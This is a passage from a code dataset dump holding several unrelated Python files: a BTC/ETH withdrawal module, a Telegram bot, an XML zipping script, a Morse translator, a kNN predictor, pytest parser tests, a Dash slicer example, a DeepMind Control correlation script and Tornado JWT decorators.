WithdrawalStatus.PENDING.value\n crypto_transaction.is_acknowledged = False\n return\n else:\n sqla_session.rollback()\n raise TransactionInconsistencyError(f'Programming error with {txid}. Call the programmer') from e\n\n if confirmations >= 6 and crypto_transaction.status != WithdrawalStatus.COMPLETED.value:\n crypto_transaction.status = WithdrawalStatus.COMPLETED.value\n crypto_transaction.is_acknowledged = False\n\n change_tx_q = btc.ChangeTransactionLog.query.filter(\n btc.ChangeTransactionLog.change_tx_id == txid\n )\n change_tx = change_tx_q.one()\n\n txs = tx_info['vout']\n addrs = {t['scriptPubKey']['addresses'][0]: t['value'] for t in txs}\n\n address_q = btc.Address.query.filter(\n btc.Address.address == change_tx.change_address,\n btc.Address.is_populated.is_(True)\n )\n address = address_q.one()\n address.amount += addrs[change_tx.change_address]\n\n elif confirmations > 0:\n crypto_transaction.status = WithdrawalStatus.PENDING.value\n crypto_transaction.is_acknowledged = False\n\n\ndef periodic_check_withdraw_btc():\n crypto_transaction_q = transaction.CryptoWithdrawTransaction.query.filter(\n transaction.CryptoWithdrawTransaction.status == types.WithdrawalStatus.PENDING.value,\n transaction.CryptoWithdrawTransaction.currency == types.CryptoCurrency.BITCOIN.value\n )\n\n crypto_transactions = crypto_transaction_q.all()\n\n for cw_trx in crypto_transactions:\n withdrawal_status_btc(cw_trx)\n\n sqla_session.commit()\n\n\ndef periodic_check_withdraw_eth():\n crypto_transaction_q = transaction.CryptoWithdrawTransaction.query.filter(\n transaction.CryptoWithdrawTransaction.status == types.WithdrawalStatus.PENDING.value,\n transaction.CryptoWithdrawTransaction.currency == types.CryptoCurrency.ETHERIUM.value\n )\n\n crypto_transactions = crypto_transaction_q.all()\n\n for cw_trx in crypto_transactions:\n withdrawal_status_eth(cw_trx)\n\n sqla_session.commit()\n\n\ndef withdraw_eth(u_txid, address, amount):\n \"\"\"\n\n :param u_txid: UUID4 идентификатор транзакции в сервисе cryptopay\n :param address: адрес, на который нужно сделать перечилсение\n :param amount: объём битокойнов\n :return:\n \"\"\"\n u_txid_q = transaction.CryptoWithdrawTransaction.query.filter(\n transaction.CryptoWithdrawTransaction.u_txid == u_txid\n )\n\n try:\n crypto_transaction = u_txid_q.one()\n return crypto_transaction.status\n except MultipleResultsFound as e:\n sqla_session.rollback()\n raise TransactionInconsistencyError(f'Multiple transaction records found for {u_txid}. Report the bug') from e\n except NoResultFound:\n crypto_transaction = transaction.CryptoWithdrawTransaction(\n u_txid=u_txid,\n currency=CryptoCurrency.ETHERIUM.value,\n address=address,\n amount=amount,\n status=WithdrawalStatus.FAILED.value\n )\n sqla_session.add(crypto_transaction)\n\n ethd_instance_uri = config['ethd_instance_uri']\n eth_masterkey_name = config['eth_masterkey_name']\n\n gas_price = eth_current_gas_price(ethd_instance_uri)\n fee = TRANSACTION_GAS * gas_price\n\n masterkey_q = eth.MasterKey.query.filter(\n eth.MasterKey.masterkey_name == eth_masterkey_name\n )\n masterkey = masterkey_q.one()\n\n ordered_adresses_q = eth.Address.query.filter(\n eth.Address.masterkey == masterkey,\n eth.Address.address != address,\n eth.Address.amount > fee # don't dive into gold sand\n ).order_by(asc(eth.Address.amount))\n candidates = ordered_adresses_q.all()\n\n approx_amount = amount\n spendables = {}\n for c in candidates:\n remain_amount = c.amount - fee\n withdraw_amount = remain_amount if remain_amount < approx_amount else approx_amount\n\n if withdraw_amount < fee: # prevent weird spending transactions with amount less than fee\n break\n\n approx_amount -= withdraw_amount\n spendables[c] = withdraw_amount\n\n if approx_amount == decimal.Decimal(0.0):\n break\n else:\n # Insufficient funds\n sqla_session.commit()\n return crypto_transaction.status\n\n tx_ids = []\n for s, a in spendables.items():\n utx_h = eth_create_transaction(\n web3_url=ethd_instance_uri,\n src_addr=s.address,\n dst_addr=address,\n amount=a,\n gas_price=gas_price\n )\n\n stx_h = eth_sign_transaction(\n src_addr=s.address,\n priv_key=s.get_priv_key(),\n unsigned_tx_h=utx_h,\n network_id=masterkey.network_id\n )\n\n tx_id = eth_send_transaction(\n web3_url=ethd_instance_uri,\n signed_tx_h=stx_h\n )\n tx_ids.append(tx_id)\n\n crypto_transaction.txids = tx_ids\n crypto_transaction.status = types.WithdrawalStatus.PENDING.value\n\n sqla_session.commit()\n return crypto_transaction.status\n\n\ndef withdrawal_status_eth(crypto_transaction):\n ethd_instance_uri = config['ethd_instance_uri']\n pending_txids = crypto_transaction.txids[:]\n completed_txids = crypto_transaction.completed_txids[:]\n\n complete_c = len(pending_txids)\n for txid in pending_txids[:]:\n try:\n tx = eth_get_transaction(web3_url=ethd_instance_uri, tx_hash=txid)\n except EthMonitorTransactionException:\n # one of transactions was unsuccessful / disappeared so there is partial withdrawing\n # and payment transaction will remain PENDING until manual investigation\n pass\n if tx['confirmations'] >= 12:\n address = eth.Address.query.filter(\n eth.Address.address == tx['from'].lower()\n ).one()\n address.amount -= tx['value'] / eth_divider\n\n complete_c -= 1\n completed_txids.append(txid)\n pending_txids.remove(txid)\n\n # deep update whole sqla.ARRAY as alternative\n # to Mutation Tracking http://docs.sqlalchemy.org/en/latest/orm/extensions/mutable.html\n crypto_transaction.completed_txids = completed_txids\n crypto_transaction.txids = pending_txids\n\n if complete_c == 0:\n crypto_transaction.status = types.WithdrawalStatus.COMPLETED.value\n","sub_path":"transer/orchestrator/withdraw.py","file_name":"withdraw.py","file_ext":"py","file_size_in_byte":14118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"269707451","text":"from telegram.ext import Updater, InlineQueryHandler, CommandHandler, MessageHandler, Filters, RegexHandler, ConversationHandler\nimport telegram\n# import requests\nfrom emoji import emojize\nimport os\n\nclass AutoRespond:\n dp = None\n \n def __init__(self, parent, dispatcher):\n assert(parent.isBot())\n assert(dispatcher!=None)\n self.dp = dispatcher\n\n def autoRespond(self, update, context):\n chat_id = update.message.chat_id\n prev_msg = update.message.text.lower()\n words = [\"credo\", \"mi pare\"]\n for w in words:\n if w in prev_msg:\n context.bot.send_message(chat_id=chat_id,\n text=emojize(w.capitalize(), use_aliases=True),\n parse_mode=telegram.ParseMode.MARKDOWN)\n\n def registerToDispatcher(self):\n self.dp.add_handler(MessageHandler(Filters.text, self.autoRespond))\n\n","sub_path":"ddd-bot/src/AutoRespond.py","file_name":"AutoRespond.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"587460285","text":"import shutil\r\nimport os\r\nfrom datetime import date\r\nimport zipfile\r\nimport time\r\n#dest='C:\\\\Users\\\\Emerson\\\\Desktop\\\\teste\\\\mapear.txt'\r\n#os.link(arq,dest)\r\n#hj = date.today()\r\n#print (hj)\r\nprint(\"Criado por Emerson Max \")\r\nprint(\"_______________________________________________\")\r\nprint(\"###############################################\")\r\nver_mes=0\r\nver_ano=0\r\nwhile (ver_mes==0):\r\n\tmes = input(\"Digite o mes dos XML's ex: 1 janeiro > \")\r\n\tif mes==\"1\":\r\n \t\tmes = \"JANEIRO\"\r\n \t\tver_mes=1\r\n\telif mes==\"2\":\r\n mes= \"FEVEREIRO\"\r\n ver_mes=1\r\n\telif mes==\"3\":\r\n \t mes= \"MARÇO\"\r\n \t ver_mes=1\r\n\telif mes==\"4\":\r\n \t mes= \"ABRIL\"\r\n \t ver_mes=1\r\n\telif mes==\"5\":\r\n\t\t mes= \"MAIO\"\r\n\t\t ver_mes=1\r\n\telif mes==\"6\":\r\n \t mes= \"JUNHO\"\r\n \t ver_mes=1\r\n\telif mes==\"7\":\r\n \t mes= \"JULHO\"\r\n \t ver_mes=1\r\n\telif mes==\"8\":\r\n \t mes= \"AGOSTO\"\r\n \t ver_mes=1\r\n\telif mes==\"9\":\r\n \t mes= \"SETEMBRO\"\r\n \t ver_mes=1\r\n\telif mes==\"10\":\r\n \t mes= \"OUTUBRO\"\r\n \t ver_mes=1\r\n\telif mes==\"11\":\r\n \t mes= \"NOVEMBRO\"\r\n \t ver_mes=1\r\n\telif mes==\"12\":\r\n \t mes= \"DEZEMBRO\"\r\n \t ver_mes=1\r\n\telif mes==None:\r\n \t print(\"valor invalido\")\r\n \t ver_mes=0\r\n\telse:\r\n \t print (\"o mês não é valido, digite um numero entre 1 e 12 referente ao mês desejado\")\r\n\r\n\r\nano = input(\"Digite o ano com 4 digitos dos XML's ex: 2019 > \")\r\nwhile (ver_ano==0):\r\n\tif int(ano)<2016 :\r\n\t\tprint (\"ano invalido digite\")\r\n\t\tver_ano=0\r\n\telif ano==None:\r\n \t print(\"valor invalido\")\r\n \t ver_ano=0\r\n\tver_ano=1\r\n\r\nprint(\"_______________________________________________\")\r\nprint(\"###############################################\")\r\nprint (\"aguarde gerando o arquivo com os XML\")\r\nprint(\"_______________________________________________\")\r\nprint(\"###############################################\")\r\nuser=os.getenv('username')\r\narq_zip = zipfile.ZipFile('C:\\\\Users\\\\%s\\\\Desktop\\\\XMLs_%s.zip'%(user,mes), 'w')\r\nfor folder, subfolders, files in os.walk('C:\\\\TFC\\\\NFCe\\\\%s%s' %(mes,ano)):\r\n \r\n for file in files:\r\n if file.endswith('.xml'):\r\n arq_zip.write(os.path.join(folder, file), os.path.relpath(os.path.join(folder,file), 'C:\\\\TFC\\\\NFCe'), compress_type = zipfile.ZIP_DEFLATED)\r\n \r\narq_zip.close()\r\ntime.sleep(2)","sub_path":"xml.py","file_name":"xml.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"451434413","text":"\"\"\"\nimport requests\nfrom string import ascii_lowercase\nfrom bs4 import BeautifulSoup\n\n# Souping through wiki to get information of translating from english to morse and back\n\nheader = {\n 'Accept-Language': 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36',\n}\n\nwiki_link = requests.get('https://en.wikipedia.org/wiki/Morse_code', headers=header).text\nsoup = BeautifulSoup(wiki_link, 'html.parser')\n\n\n# Getting english letters and symbols to the list\n\nx = soup.select('tbody tr td b a')\nsymbols_not_ready = [i.text for i in x[26:-1]]\n\n\n# Getting morse-english code to the list\n\nz = soup.select('tbody tr td div div a')\nsymbols_morse_not_ready = [i.text for i in z[2:]]\n\n\n#Moddifying english letters and symbols list\n\nenglish_symbols = []\nfor i in symbols_not_ready:\n if i == 'Period [.]':\n i = '.'\n elif i == 'Comma [,]':\n i = ','\n elif i == 'Question Mark [?]':\n i = '?'\n elif i == \"Apostrophe [']\":\n i = \"'\"\n elif i == 'Exclamation Point [!]':\n i = '!'\n elif i == 'Slash':\n i = '/'\n elif i == 'Parenthesis (Open)':\n i = '('\n elif i == ' Ampersand (or \"Wait\") [&]':\n i = '&'\n elif i == ' Colon [:] ':\n i = ':'\n elif i == ' Semicolon [;] ':\n i = ':'\n elif i == ' Double Dash [=] ':\n i = '='\n elif i == ' Plus sign [+] ':\n i = '+'\n elif i == 'Hyphen':\n i = '-'\n elif i == 'Underscore [_]':\n i = '_'\n elif i == 'Quotation mark [\"] ':\n i = '\"'\n elif i == 'Dollar sign [$] ':\n i = '$'\n elif i == 'At Sign [@] ':\n i = '@'\n elif i == ' Minus Sign [-] ':\n continue\n elif i == 'Parenthesis (Close)':\n i = ')'\n elif i == 'Fraction Bar [/]':\n continue\n english_symbols.append(i)\n\nletters = [i for i in ascii_lowercase]\nfor letter in letters[::-1]:\n number = 0\n if number < 27:\n english_symbols.insert(number, letter)\n number += 1\n\n\n# Modifying morse code\n\nmorse_code_with_spaces = [i for i in symbols_morse_not_ready[:54]]\nmorse_code_with_spaces += symbols_morse_not_ready[61:]\nmorse_code_without_spaces = [i.replace(' ', '') for i in morse_code_with_spaces]\nmorse_code_without_spaces2 = [i.replace(' ', '') for i in morse_code_without_spaces]\nmorse_code = [i.replace('·', '.') for i in morse_code_without_spaces2]\nmorse_clear = [i.replace('−', '-') for i in morse_code]\nwith open('english_letters.txt', mode='w', encoding='utf-8') as eng_words:\n for i in english_symbols:\n eng_words.write(f'{i}|')\nwith open('morse_symbols.txt', mode='w', encoding='utf-8') as morse_symbols:\n for i in morse_clear:\n morse_symbols.write(f'{i}|')\n\"\"\"\n\n# GETTING SYMBOLS FROM FILE\n\nwith open('english_letters.txt', mode='r', encoding='utf-8') as english:\n en_symbols = []\n for symb in english.read().split('|'):\n en_symbols.append(symb)\nwith open('morse_symbols.txt', mode='r', encoding='utf-8') as morse_code:\n morse_symb = []\n for symb in morse_code.read().split('|'):\n morse_symb.append(symb)\n\n\n# Creating class to translate our text\n\nclass Translate:\n def __init__(self, text: str, symbols=en_symbols, morse=morse_symb):\n self.text = text.lower()\n self.symbols = symbols\n self.morse = morse\n self.translate_english = False\n self.check_translate()\n self.translate = None\n\n# Checking if typed sentence consists of english and symbols or morse code\n\n def check_translate(self):\n splitted_text = [i for i in self.text]\n for i in splitted_text:\n if i in self.symbols[:36] or i in self.symbols[37:41] or i in self.symbols[42:49] or i in self.symbols[50:]:\n self.translate_english = True\n break\n else:\n continue\n if self.translate_english:\n self.translate_to_morse()\n else:\n self.translate_to_english()\n\n def translate_to_morse(self):\n morse_list = []\n try:\n for word in self.text:\n if word in self.symbols:\n morse_symbol = self.morse[self.symbols.index(word)]\n morse_list.append(f'{morse_symbol} ')\n elif word == ' ':\n morse_list.append('/ ')\n else:\n print(f'{word} not in morse code')\n self.translate = ''.join(morse_list)\n print(f'Translated text: {self.translate}')\n except ValueError:\n print('You used not english words')\n\n def translate_to_english(self):\n english_list = []\n splitted_text = self.text.split()\n try:\n for morse in splitted_text:\n if morse == '/':\n english_list.append(' ')\n else:\n english_word = self.symbols[self.morse.index(morse)]\n english_list.append(f'{english_word}')\n self.translate = ''.join(english_list)\n print(f'Translated text: {self.translate.upper()}')\n except ValueError:\n print('You typed not morse code')\n","sub_path":"codingmorse.py","file_name":"codingmorse.py","file_ext":"py","file_size_in_byte":5226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"50296075","text":"from filter import filt_into_df\r\nfrom normalize import normalize_df, normalize_point\r\nimport operator\r\n\r\n\r\ndef predict(normalized_df, test_point, target_feature, k):\r\n # filter the original data\r\n\r\n # get the features from data\r\n features = list(normalized_df.columns)\r\n if target_feature in features:\r\n features.remove(target_feature)\r\n # print(\"the features we select are:\")\r\n # for f in features:\r\n # print(f,end = ' ')\r\n\r\n # apply 0-1 normalization to the test data\r\n # test_point = normalize_point(df, target_feature, test_point)\r\n\r\n # get all distances from test points to all points in training data\r\n distance_dict = {}\r\n for n in range(len(normalized_df)):\r\n try:\r\n temp_point = dict(normalized_df.loc[n])\r\n except KeyError:\r\n continue\r\n dist_square = 0\r\n for f in features:\r\n dist_square += (temp_point[f] - test_point[f]) ** 2\r\n dist = dist_square ** 0.5\r\n distance_dict[n] = dist\r\n\r\n # sort the distance:\r\n sorted_distance = sorted(distance_dict.items(), key=operator.itemgetter(1))\r\n\r\n # get the nearest k points\r\n kNN_list = []\r\n for t in sorted_distance[:k]:\r\n index = t[0]\r\n neighbor_value = normalized_df.loc[index, target_feature]\r\n kNN_list.append(neighbor_value)\r\n\r\n # return the mean value of target feature of the nearest k points as result\r\n result = sum(kNN_list) / len(kNN_list)\r\n return result\r\n","sub_path":"KNN-Machine Learning/prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"145857063","text":"from flask import Flask, render_template, request\nimport json\nimport time\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return open('templates/index.html').read()\n\n@app.route('/search')\ndef search():\n place = request.args.get('place')\n time.sleep(5)\n return json.dumps({'name': place})\n\nif __name__ == '__main__':\n app.run()","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"509146913","text":"# -*- coding: utf-8 -*-\nimport pytest\nimport _pytest\n\n\ndef test_1():\n \"\"\"\n $ py.test\n $ py.test --test1 1\n \"\"\"\n # Get a option value\n assert pytest.config.getvalue(\"test1\") == pytest.config.option.test1\n assert isinstance(pytest.config.option.test1, int)\n assert pytest.config.option.test1 > 0\n\n\ndef test_2():\n \"\"\"\n $ py.test --test2 a --test2 a\n \"\"\"\n test2 = pytest.config.option.test2\n assert len(test2) >= 0\n assert \"\".join(test2) == len(test2) * \"a\"\n\n\ndef test_3(string):\n assert string == \"a\"\n\n\ndef test_Argument():\n from _pytest.config import Argument\n\n # Create an instance\n a = Argument(\"-f\")\n assert a.dest == \"f\"\n\n # メンバ変数となる引数\n b = Argument(\"--option-dest\", default=\"default value\", type=int)\n assert b.dest == \"option_dest\"\n assert b.default == \"default value\"\n assert b.type is int\n\n # メンバ変数のdest 上書き\n c = Argument(\"--option-dest\", dest=\"new_dest\", action=\"append\")\n assert c.dest == \"new_dest\"\n\n with pytest.raises(KeyError):\n # typeがstring型の場合、Argument._typ_map[typ]で文字列をint/strに変換する\n # floatなどの型は_typ_mapに定義されていないのでエラーとなる(関数を渡すべき)\n Argument(\"-d\", type=\"float\")\n assert Argument(\"-d\", type=\"int\").type is int\n\n # 属性取得(基本、Argumentのキーワード引数)\n assert a.attrs() == {\"dest\": \"f\"}\n assert b.attrs() == {\"dest\": \"option_dest\", \"default\": \"default value\", \"type\": int}\n assert c.attrs() == c._attrs == {\"dest\": \"new_dest\", \"action\": \"append\"}\n\n # Catch name error\n with pytest.raises(_pytest.config.ArgumentError):\n # parserは直接アクセスしない\n # 基本的にconfig経由する\n # --までの引数しか設定できない\n pytest.config._parser.addoption(\"---test3\", action=\"append\", default=[\"a\"])\n\n with pytest.raises(_pytest.config.ArgumentError):\n # -- のみ\n a._set_opt_strings([\"---test3\"])\n\n with pytest.raises(_pytest.config.ArgumentError):\n # -- だけも不可\n a._set_opt_strings([\"--\"])\n\n with pytest.raises(_pytest.config.ArgumentError):\n # # -で開始する必要がある\n a._set_opt_strings([\"a\"])\n\n a._set_opt_strings([\"-a\", \"-s\", \"--aaa\", \"--a-aa\"])\n assert a._long_opts == [\"--aaa\", \"--a-aa\"]\n assert a._short_opts == [\"-f\", \"-a\", \"-s\"]\n\n # names = short + long\n assert a.names() == [\"-f\", \"-a\", \"-s\"] + [\"--aaa\", \"--a-aa\"]\n\n\ndef test_OptionGroup():\n from _pytest.config import OptionGroup\n g1 = OptionGroup(\"test\", \"description\")\n\n with pytest.raises(ValueError):\n # shortupper=Trueのときは、- + 小文字 は使用できない\n g1.addoption(\"-s\")\n\n g1.addoption(\"-S\")\n g1.addoption(\"--test\")\n # 小文字使う場合は、privateを使う\n g1._addoption(\"-t\")\n\n # optionsには、Argumentのインスタンスが格納される\n assert len(g1.options) == 3\n assert g1.options[1].dest == \"test\"\n\n\ndef test_Paser():\n from _pytest.config import Parser\n # processoptは使われていないみたい?groupにaddoptionするときに、ここで渡しす関数が呼ばれるみたい\n p = Parser(usage=\"How to use this parser?\")\n\n assert len(p._groups) == 0\n # 1回目は OptionGroupのインスタンスを作成する\n g1 = p.getgroup(\"group1\")\n assert len(p._groups) == 1\n g1 = p.getgroup(\"group1\")\n assert len(p._groups) == 1\n g2 = p.getgroup(\"group2\")\n\n # 一番最後のリストに加えられる\n assert p._groups[1].name == \"group2\"\n\n g3 = p.getgroup(\"group3\", after=\"group1\")\n # afterを指定すると、そのgroupの次にinsertされる(一つずつ後ろへずれる)\n assert p._groups[1].name == \"group3\"\n assert p._groups[2].name == \"group2\"\n\n g2.addoption(\"--g2\")\n g3.addoption(\"--g3\")\n # g2.addoption(\"--g3\") グループが異なったとしても同じ引数は不可\n\n # groupを指定しない場合は、anonymous group に入る\n # グループ化をわざわざしたくないときに使える\n p.addoption(\"--anon\")\n assert p._anonymous.options[0].dest == \"anon\"\n\n arg1 = p.parse_known_args([\"filepath\", \"--anon\", \"a\"])\n assert arg1.file_or_dir == [\"filepath\"] # 第一引数はファイルorディレクトリを0以上指定できる\n assert arg1.anon == \"a\"\n\n # 余計な引数は無視される\n arg2 = p.parse_known_args([\"filepath\", \"--abc\", \"abc\"])\n p1 = p._getparser()\n arg3 = p1.parse_known_args([\"filepath\", \"--abc\", \"abc\"]) # tuple\n assert arg2 == arg3[0]\n assert arg3[1] == [\"--abc\", \"abc\"]\n\n # parseを実行する前は、optparserがない\n with pytest.raises(AttributeError):\n p.optparser\n\n args = p.parse([\"filepath\", \"--anon\", \"a\"])\n p.optparser\n\n with pytest.raises(SystemExit):\n # 内部でMyOptionParser.parse_argsを読んでいるため\n # 余計な引数がある場合はエラーとなる\n p.parse([\"filepath\", \"--abc\", \"abc\"])\n\n\n\ndef test5():\n with pytest.raises(_pytest.config.ArgumentError):\n # parserは直接アクセスしない\n # 基本的にconfig経由する\n # --までの引数しか設定できない\n pytest.config._parser.addoption(\"---test3\", action=\"append\", default=[\"a\"])\n","sub_path":"python/test/t2/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":5389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"357733155","text":"\"\"\"\nAn example demonstrating overlays.\n\nThis shows a volume with a mask overlay. In this case the mask has 3\npossible values (0, 1, 2), and is created by applying two thresholds\nto the image data.\n\"\"\"\n\nimport dash\nimport dash_html_components as html\nimport dash_core_components as dcc\nfrom dash.dependencies import Input, Output\nfrom dash_slicer import VolumeSlicer\nimport numpy as np\nimport imageio\n\n\napp = dash.Dash(__name__, update_title=None)\nserver = app.server\n\nvol = imageio.volread(\"imageio:stent.npz\")\nmi, ma = vol.min(), vol.max()\nslicer = VolumeSlicer(app, vol, clim=(0, 800))\n\n\napp.layout = html.Div(\n [\n slicer.graph,\n slicer.slider,\n dcc.RangeSlider(\n id=\"level-slider\",\n min=vol.min(),\n max=vol.max(),\n step=1,\n value=[mi + 0.1 * (ma - mi), mi + 0.3 * (ma - mi)],\n ),\n *slicer.stores,\n ]\n)\n\n\n# Define colormap to make the lower threshold shown in yellow, and higher in red\ncolormap = [(255, 255, 0, 50), (255, 0, 0, 100)]\n\n\n@app.callback(\n Output(slicer.overlay_data.id, \"data\"),\n [Input(\"level-slider\", \"value\")],\n)\ndef apply_levels(level):\n mask = np.zeros(vol.shape, np.uint8)\n mask += vol > level[0]\n mask += vol > level[1]\n return slicer.create_overlay_data(mask, colormap)\n\n\nif __name__ == \"__main__\":\n # Note: dev_tools_props_check negatively affects the performance of VolumeSlicer\n app.run_server(debug=True, dev_tools_props_check=False)\n","sub_path":"examples/threshold_overlay.py","file_name":"threshold_overlay.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"588829184","text":"def max_in_list(numbers):\n # without using: return max(numbers)\n i = 0\n max_n = numbers[0]\n while i < len(numbers):\n if numbers[i] > max_n:\n max_n = numbers[i]\n i += 1\n return max_n\n\n\nprint(max_in_list([3, 5, 7, 2, 1, 4, 12, 4, 9, 0, 22]))\n","sub_path":"optional/max in list loop/maxinlistloop.py","file_name":"maxinlistloop.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"543810668","text":"import numpy as np\r\nimport matplotlib\r\nmatplotlib.use('Agg')\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport pandas as pd\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\r\nos.environ['MUJOCO_GL'] = 'egl'\r\nnormalization = 'normalization'\r\nfrom wrappers import DeepMindControl\r\n\r\n\r\n\r\ndef plot(rela):\r\n plt.matshow(rela, cmap='RdBu_r', vmax=1000,vmin=-1000)\r\n plt.colorbar(extend='both')\r\n plt.show()\r\n\r\n\r\nif __name__ == '__main__':\r\n for env_item in ['cheetah_run', 'walker_run', 'humanoid_walk', 'hopper_hop', 'finger_spin', 'reacher_easy']:\r\n if not os.path.exists(\"./rela_10000_visual/{}/\".format(env_item)):\r\n os.makedirs(\"./rela_10000_visual/{}/\".format(env_item))\r\n env = DeepMindControl(env_item)\r\n action_size = env.action_space.shape[0]\r\n state_size = env.reset()['image'].reshape(-1).shape[0]\r\n print(\"=================={}==================\".format(env_item))\r\n print(\"state_size:\", state_size, \"action_size:\", action_size)\r\n\r\n action_list = []\r\n delta_s_list = []\r\n step = 0\r\n\r\n while True:\r\n last_state = env.reset()['image'].reshape(-1)\r\n episode_step = 0\r\n while episode_step < 500:\r\n episode_step += 1\r\n action = (np.random.rand(action_size) - 0.5) * 2\r\n action_list.append(action)\r\n state = env.step(action)[0]['image'].reshape(-1)\r\n delta_s = state - last_state\r\n last_state = state\r\n delta_s_list.append(delta_s)\r\n step += 1\r\n if step > 100000:\r\n break\r\n print(\"step:\", step)\r\n data_size = len(action_list)\r\n\r\n action_array = np.array(action_list).reshape(data_size, action_size)\r\n delta_s_array = np.array(delta_s_list).reshape(data_size, state_size)\r\n\r\n if normalization == 'normalization':\r\n print('normalize')\r\n action_array_mean = np.mean(action_array, 0)\r\n delta_s_array_mean = np.mean(delta_s_array, 0)\r\n action_array_std = np.std(action_array, 0)\r\n delta_s_array_std = np.std(delta_s_array, 0)\r\n action_array = (action_array - action_array_mean) / action_array_std\r\n delta_s_array = (delta_s_array - delta_s_array_mean) / delta_s_array_std\r\n action_array = action_array.T\r\n delta_s_array = delta_s_array.T\r\n sum_rela = np.zeros((action_size, state_size))\r\n\r\n\r\n for action_id in range(action_size):\r\n for state_id in range(state_size):\r\n data = np.vstack([action_array[action_id], delta_s_array[state_id]])\r\n rela = np.corrcoef(data)\r\n if rela[0][1] - rela[1][0] > 0.0000000001:\r\n print(rela)\r\n sum_rela[action_id][state_id] = rela[0][1]\r\n\r\n print(env_item, sum_rela)\r\n plt.matshow(sum_rela, cmap='RdBu_r', vmax=1, vmin=-1)\r\n plt.colorbar(extend='both')\r\n plt.savefig('./rela_10000_visual/{}/{}.png'.format(env_item, normalization))\r\n\r\n data_df = pd.DataFrame(sum_rela)\r\n writer = pd.ExcelWriter('./rela_10000_visual/{}/{}.xlsx'.format(env_item, normalization))\r\n data_df.to_excel(writer, 'page_1', float_format='%.5f')\r\n writer.save()\r\n # plot(sum_rela * 1000)\r\n","sub_path":"SD2/dmc_control_visual.py","file_name":"dmc_control_visual.py","file_ext":"py","file_size_in_byte":3348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"598035808","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nfrom datetime import datetime\nfrom base64 import b64encode\nfrom jwt import encode as jwt_encode, decode as jwt_decode, DecodeError, InvalidAlgorithmError\nfrom string import ascii_uppercase, digits\nfrom random import choice\n\nfrom psycopg2 import Error, ProgrammingError\nfrom tornado.web import HTTPError\n\nfrom settings.accounts import __JWT_SECRET__, __JWT_ALGORITHM__\n\n\n# DECORATORS\n\ndef catch_generic_exception(method):\n\n def wrapper(self, *args, **kwargs):\n\n try:\n # try to execute the method\n return method(self, *args, **kwargs)\n\n # all methods can raise a psycopg exception, so catch it\n except ProgrammingError as error:\n self.PGSQLConn.rollback() # do a rollback to comeback in a safe state of DB\n raise HTTPError(500, \"Psycopg2 error (psycopg2.ProgrammingError). Please, contact the administrator. \" +\n \"\\nInformation: \" + str(error) + \"\\npgcode: \" + str(error.pgcode))\n\n except Error as error:\n self.PGSQLConn.rollback() # do a rollback to comeback in a safe state of DB\n raise HTTPError(500, \"Psycopg2 error (psycopg2.Error). Please, contact the administrator. \" +\n \"\\n Information: \" + str(error) + \"\\npgcode: \" + str(error.pgcode))\n\n return wrapper\n\n\ndef auth_non_browser_based(method):\n \"\"\"\n Authentication to non browser based service\n :param method: the method decorated\n :return: the method wrapped\n \"\"\"\n\n def wrapper(self, *args, **kwargs):\n\n if \"Authorization\" in self.request.headers:\n try:\n token = self.request.headers[\"Authorization\"]\n get_decoded_jwt_token(token)\n except HTTPError as error:\n raise error\n except Exception as error:\n raise HTTPError(500, \"Problem when authorize a resource. Please, contact the administrator. \" +\n \"(\" + str(error) + \")\")\n\n return method(self, *args, **kwargs)\n else:\n raise HTTPError(401, \"It is necessary an Authorization header valid.\")\n\n return wrapper\n\n\ndef auth_just_admin_can_use(method):\n \"\"\"\n Authentication to non browser based service\n :param method: the method decorated\n :return: the method wrapped\n \"\"\"\n\n def wrapper(self, *args, **kwargs):\n\n if not self.is_current_user_an_administrator():\n raise HTTPError(403, \"The administrator is who can use this resource.\")\n\n return method(self, *args, **kwargs)\n\n return wrapper\n\n\ndef just_run_on_debug_mode(method):\n \"\"\"\n Just run the method on Debug Mode\n :param method: the method decorated\n :return: the method wrapped\n \"\"\"\n def wrapper(self, *args, **kwargs):\n\n # if is not in debug mode, so return a 404 Not Found\n if not self.DEBUG_MODE:\n raise HTTPError(404, \"Invalid URL.\")\n\n # if is in debug mode, so execute the method\n return method(self, *args, **kwargs)\n\n return wrapper\n\n\n# JWT\n\ndef generate_encoded_jwt_token(json_dict):\n return jwt_encode(json_dict, __JWT_SECRET__, algorithm=__JWT_ALGORITHM__).decode(\"utf-8\")\n\n\ndef get_decoded_jwt_token(token):\n try:\n return jwt_decode(token, __JWT_SECRET__, algorithms=[__JWT_ALGORITHM__])\n except DecodeError as error:\n raise HTTPError(400, \"Invalid Token. (error: \" + str(error) + \")\") # 400 - Bad request\n except InvalidAlgorithmError as error:\n raise HTTPError(400, \"Invalid Token. (error: \" + str(error) + \")\") # 400 - Bad request\n\n\n# 